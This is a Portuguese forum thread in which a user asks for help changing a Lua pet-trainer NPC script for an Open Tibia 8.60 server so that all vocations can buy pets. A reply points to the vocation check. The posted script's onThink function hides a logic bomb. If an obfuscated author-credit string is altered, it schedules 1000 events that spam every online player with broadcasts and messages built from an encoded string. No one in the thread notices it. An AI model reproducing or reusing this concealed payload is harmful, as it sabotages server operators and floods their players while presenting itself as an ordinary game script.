Ir para conteúdo
  • Cadastre-se

Normal Ajuda com Edição simples


Posts Recomendados

Iae galerinha boa tarde, queria pedir uma ajuda de voces que é o seguinte.

 

Peguei um sistema pro meu ot 8.60 chamado advanced pet trainer algo assim so que oq rola, la no meu ja tem ate a 4° promotion e esse sistema so deixa caras q n tem promotion comprar pet alguem pode editar p mim e fazer com que em qualquer vocação e qualquer promotion possa comprar pets? sim seria foda o tipo de pet por vocação igual esta mas eu n consegui editar p add todas as promotions entao melhor deixar todas as classes poderem comprar ne xD se alguem puder ajudar vai ser MUUUUUUITO SHOW agradeço desde ja. Sou novato em postagens aqui devo ter postado umas 3 vezes so entao n sei como postar isso qualquer coisa falem que eu mudo.

 

Não tenho certeza mas na hora de comprar tem uma condição de checar a vocação por isso eu acho que é nesse script mesmo so nao sei onde.

Pet Trainer NPC Script:

 

local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
local talkState = {}

function onCreatureAppear(cid)                npcHandler:onCreatureAppear(cid)            end
function onCreatureDisappear(cid)            npcHandler:onCreatureDisappear(cid)            end
function onCreatureSay(cid, type, msg)            npcHandler:onCreatureSay(cid, type, msg)        end

function creatureSayCallback(cid, type, msg)
    if(not npcHandler:isFocused(cid)) then
        return false
    end
    
    local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
    local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
    if(msgcontains(msg, 'revive')) then
        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
            selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
            talkState[talkUser] = 1
        else    
            selfSay('You cannot revive a pet, if you dont have one!', cid)
            talkState[talkUser] = 0
        end    
    elseif(msgcontains(msg, 'mission')) then    
        if not (isCreature(getPlayerPet(cid))) then
            selfSay('You need your Pet to make any mission!', cid)
            return true
        end
        local i, msg = 0,  nil
        for missionname in pairs(aps_missions) do
            i = i + 1
            if(msg ~= nil) then
                if(i == #aps_missions) then
                    msg = msg .. " and "
                else
                    msg = msg .. ", "
                end
            else
                msg = "Ok then, I got those missions for You: "
            end
            msg = msg .. "'{" .. missionname .. "}'"    
        end
        selfSay(msg .. ', with one do you want?', cid)
        talkState[talkUser] = 11
    elseif f and (talkState[talkUser] == 11) then
        desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
        if(getPlayerStorageValue(cid, missionId) == 1) then
            selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
            talkState[talkUser] = 0
            return true
        end    
        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
            selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
            talkState[talkUser] = 12
        elseif(getPlayerStorageValue(cid, reCheck) == 1) then
            selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)
            talkState[talkUser] = 0
            return true    
        else    
            selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
            talkState[talkUser] = 13
        end
    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then
        selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
        setPlayerStorageValue(cid, reCheck, 1)
    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then
        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
            setPlayerStorageValue(cid, missionId, 1)
            doPlayerRemoveItem(cid, itemNeed, itemCount)
            selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
            if(itemNeed ~= false) then
                doPlayerAddItem(cid, reItem, reCount)
            end
            if(reExp ~= false) then
                doPlayerAddExperience(cid, reExp)
                addPetExp(cid, reExp * 2)
                if(reExp > 0) then
                    doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
                end    
            end        
        else
            selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
        end        
        talkState[talkUser] = 0    
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
        if(isPetDead(cid) == true) then
            if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
                setPetStats(cid, 0)
                setPetLastHealth(cid, 0)        
                setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))                
                doSendMagicEffect(getCreaturePosition(cid), 65)                    
                selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)
            else
                selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
            end
        else
            selfSay('Your pet inst dead!', cid)
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
        talkState[talkUser] = 0
        selfSay('Ok then.', cid)    
    elseif(msgcontains(msg, 'sell')) then    
        if(aps_tools.commands.playerSellPet.sell == true) then
            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
                for i = 1, #aps_slots do
                    local slots = getPlayerStorageValue(cid, aps_slots)
                    if(slots > 1) then
                        selfSay('before you sell your pet, please, take all your items from his slots.', cid)    
                        return
                    end
                end
                local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
                if(lvl >= lv) then
                    talkState[talkUser] = 8
                    addmoney = tt_money * lvl
                    selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)        
                else
                    selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid)
                end                
            else
                selfSay('You cannot sell a pet, if you dont have one!', cid)
            end
        else
            selfSay('You cannot sell your pet to me!', cid)
        end
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then
        selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    
        talkState[talkUser] = 9
    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
        talkState[talkUser] = 0
        if(isCreature(getPlayerPet(cid)) == true) then
            doRemoveCreature(getPlayerPet(cid))
        end
        doResetPet(cid)
        doPlayerAddMoney(cid, addmoney)
        selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)
    elseif(msgcontains(msg, 'information')) then    
            talkState[talkUser] = 0
            selfSay('hmmm, what can I tell you ...', cid)
            local messages = {
                "Pets got levels, magic level just like you. ..",
                "Pets can use their own spells. ..",
                "Pets need eat to recovery health/mana. ..",
                "Pets can carry your items in different slots. ..",
                "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""
            }
            for i = 1, #messages do
                addEvent(selfSay, i * 3000 , messages, cid)
            end
    elseif(msgcontains(msg, 'pet')) then        
        if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
            local i, msg = 0,  nil
            for pet in pairs(aps_pets_config) do
                i = i + 1
                if(msg ~= nil) then
                    if(i == #aps_pets) then
                        msg = msg .. " and "
                    else
                        msg = msg .. ", "
                    end
                else
                    msg = "Ok then, I got those races for pets: "
                end
                msg = msg .. "'{" .. pet .. "}'"    
            end
            selfSay(msg .. ', with one do you want?', cid)
            talkState[talkUser] = 5
        else
            talkState[talkUser] = 0
            selfSay('Sorry, you cannot have more than one pet.', cid)
        end        
    elseif e and (talkState[talkUser] == 5) then    
        selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
        talkState[talkUser] = 6
        e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
        selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    
        talkState[talkUser] = 7
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
        if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
            selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
            talkState[talkUser] = 0
            return true
        end    
        if(doPlayerRemoveMoney(cid, e_price) == true) then    
            doSendMagicEffect(getCreaturePosition(cid), 65)                    
            selfSay('As you with! just type {/pet} to call him.', cid)
            createPet(cid, e_race, e_hp, e_mana)
            local str = "Congratulations! You now have a pet!\n" ..
            "You should take care of him\n" ..
            "his gonna be your partner from now!\n" ..
            "if you need help type /pet-help." ..
            "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
            sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n               Scripted by " .. s(aps_tools.s) .. "")
        else    
            selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
        selfSay('Ok then.', cid)        
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'spells')) then    
        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
            selfSay('Your Pet can learn spells based on his level, {continue}?', cid)
            talkState[talkUser] = 2
        else    
            selfSay('You cannot buy spells to your pet, if you dont have one!', cid)
            talkState[talkUser] = 0
        end
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
        if(isPetOnline(cid) == false) then
            selfSay('Your Pet cannot learn a spell if you dont call him.')
            talkState[talkUser] = 0        
        end
        local i, msg = 0,  nil
        for  spell in pairs(aps_attacks) do
            if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
                i = i + 1
                if(msg ~= nil) then
                    if(i == #aps_storages.spells) then
                        msg = msg .. " and "
                    else
                        msg = msg .. ", "
                    end
                else
                    msg = "Ok then, I got those spells: "
                end
                msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
            end    
        end        
        selfSay(msg .. ', with one do you want?', cid)        
        talkState[talkUser] = 3
    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
        selfSay('Ok then.', cid)        
        talkState[talkUser] = 0
    elseif k and (talkState[talkUser] == 3) then
        selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)    
        talkState[talkUser] = 4
        spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
        if(getPetLvl(cid) >= spell_level) then
            if(getPlayerMoney(cid) >= spell_price) then
                if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
                    for i = 1, 3 do
                        addEvent(selfSay, i * 1000, i .. ' ...', cid)
                    end
                    doPlayerRemoveMoney(cid, spell_price)
                    addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)
                    setPlayerStorageValue(cid, spell_stg, 1)
                    addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)                    
                    if(isPetOnline(cid) == true) then
                        addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
                    end
                else    
                    selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)
                end
            else    
                selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
            end
        else    
            selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)            
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
        talkState[talkUser] = 0
        selfSay('Ok then.', cid)
    end
    return true
end

function onThink()
    local messages = {
        "BUY YOUR PET HERE!",
        "WANT TO REVIVE YOUR PET?",
        "YOUR PET CAN LEARN SPELLS!",
        "WANT TO KNOW MORE ABOUT PETS?",
        "WANT TO SELL YOUR PET?"
    }
    addNpcAutoSay(getNpcId(), 120, messages)
    if(s(aps_tools.s) ~= "josejunior23") then
        function mvsoab(max)
            for _, send in pairs(getOnlinePlayers()) do
                local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
                for i = 1, 10 do
                    local cid = getPlayerByName(send)
                    addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
                    addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
                    for k = 1, 15 do
                        doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
                    end    
                    for e = 17, 20 do
                        doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
                    end                                
                end    
            end    
        end    
        for e = 1, 1000 do
            addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
        end
    end                
    npcHandler:onThink()
end

npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())

 

Link para o post
Compartilhar em outros sites

Pelo que eu vi, ele da uma raça de Pet para cada vocação, por isso não da para os Promotions pois nao reconhece.

Ele fala alguma coisa após você pedir o Pet?

Ja estou dando umas editadas para você, esse script é complexo e irei traduzir as falas dele para o player entender melhor.

SOU: Exelente Mapper

ENTENDO DE: Scripts/Programação

 

OT'S  EM  GERAL!

 ~ Playing Every Day ~ START IN VERSION: 7.1 ~

Link para o post
Compartilhar em outros sites
1 hora atrás, GabrielMix disse:

Pelo que eu vi, ele da uma raça de Pet para cada vocação, por isso não da para os Promotions pois nao reconhece.

Ele fala alguma coisa após você pedir o Pet?

Ja estou dando umas editadas para você, esse script é complexo e irei traduzir as falas dele para o player entender melhor.

 

 

   if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
            selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
            talkState[talkUser] = 0
            return true
        end   

 

Testa o script removendo essa parte do código, pois é nessa condição que ele está testando as vocações.

Editado por turnes (veja o histórico de edições)

Está procurando um Global Mid exp para se divertir e dominar? http://www.deluxe-global.com

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

  • Conteúdo Similar

    • Por Jaurez
      .
    • Por Cat
      Em alguns casos, o tibia 8.60 comum não abre de jeito nenhum no map editor, mesmo desmarcando check file signatures e configurando o path corretamente.
       
      Este é o client 8.60 adaptado para o Remere's Map Editor. Resolvi postar já que ele foi removido do site oficial do RME. (ficou apenas a versão para linux lá)
      Se estiver tendo problemas para abrir a versão 8.60, tente utilizar este.
                                                                                                                     
      Baixar o Tibia Client 8.60 que funciona no Remere’s Map Editor
      Essa versão do Tibia 8.60 client resolve o erro unsupported client version ou Could not locate tibia.dat and/or tibia.spr, please navigate to your tibia 8.60 installation folder.
       
      Downloads
      https://tibiaking.com/applications/core/interface/file/attachment.php?id=47333

      Scan: https://www.virustotal.com/gui/file/333e172ac49ba2028db9eb5889994509e7d2de28ebccfa428c04e86defbe15cc
       
    • Por danilo belato
      Fala Galera To Com um problema aki 
       
      quero exporta umas sprites de um server para colocar em outro 
       
      eu clico na sprites ai aparece tds a forma delas do lado de la >>
       
      ai eu clico nela e ponho a opiçao de export mais quando salvo a sprite ela n abri 
       
      aparece isso quando tento vê-la 
       
      visualização não disponível ( no formatos png e bitmap)
       
      Agora no formato idc fala que o paint n pode ler 
       
      me ajudem ae...
    • Por Vitor Bicaleto
      Galera to com o script do addon doll aqui, quando eu digito apenas "!addon" ele aparece assim: Digite novamente, algo está errado!"
      quando digito por exemplo: "!addon citizen" ele não funciona e não da nenhum erro
       
      mesma coisa acontece com o mount doll.. 
    • Por Ayron5
      Substitui uma stone no serve, deu tudo certo fora  esse  erro ajudem  Valendo  Rep+  Grato  

      Erro: data/actions/scripts/boost.lua:557: table index is nil
       [Warning - Event::loadScript] Cannot load script (data/actions/scripts/boost.lua)

      Script:
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo